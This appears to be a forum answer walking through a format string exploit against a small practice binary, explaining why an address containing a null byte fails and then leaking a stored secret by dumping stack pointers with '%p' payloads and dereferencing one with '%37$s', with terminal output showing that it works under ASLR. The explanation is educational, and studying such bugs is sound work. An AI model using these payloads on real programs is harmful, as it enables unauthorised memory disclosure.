The key issue here is the null byte in the address: in your example above, the "secret" is stored at 0x00022150, which when translated for endianess, is the string \x50\x21\x02\x00 as you stated. Note the null byte at the end which is problematic for multiple reasons.
Primarily, strings in C are terminated with a null byte, meaning that strcpy will copy until the first null byte it sees, which would destroy the second half of your payload containing the %x. However, the null byte is not even passed to the binary: bash (and I believe other shells) does not like passing null bytes as arguments:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("A\x00b")')
-bash: warning: command substitution: ignored null byte in input
secret is at: 0x22190
Ab
You would not have observed the warning above because your raw hex bytes wern't translated properly either: note the difference in the two outputs below:
pi@raspberrypi:~/tmp$ python3 -c 'print("\x61\x62")' | hexdump
0000000 6261 000a
0000003
pi@raspberrypi:~/tmp$ python3 -c 'print(r"\x61\x62")' | hexdump
0000000 785c 3136 785c 3236 000a
0000009
As such, leaking secret with the format string bug here is a little challenging. However, if we were to consider that the pointer secret in main points to the heap location storing the secret, and that the fsb allows you dereference and print any data on the stack, we can simply tell printf to "hey, theres a string at this position on the stack", where this is the location of secret. To identify this, just dump the stack until you see the correct pointer:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("".join([f"%{i}$p." for i in range(30, 40)]))')
secret is at: 0x22190
0xbefffb34.0xb6eadd70.0xbefffb14.0x18c66100.0x1065c.0x10528.0x1065c.0x22190.0xbefffb34.0x1053c.
Note that we see 0x22190 being printed out. We can manually count the offset to, then dump the data at 0x22190:
pi@raspberrypi:~/tmp$ ./format '%37$p'
secret is at: 0x22190
0x22190
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x22190
4067
It is useful to note here that attempting to print an invalid memory address with %s will result in a segfault, hence here we tell it to only dereference and dump one address rather than all 10.
As a bonus, since we do not have to specify the actual address of secret in our payload, this method of attack also works with ASLR enabled.
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0xb84190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1c12190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1f66190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1a29190
4067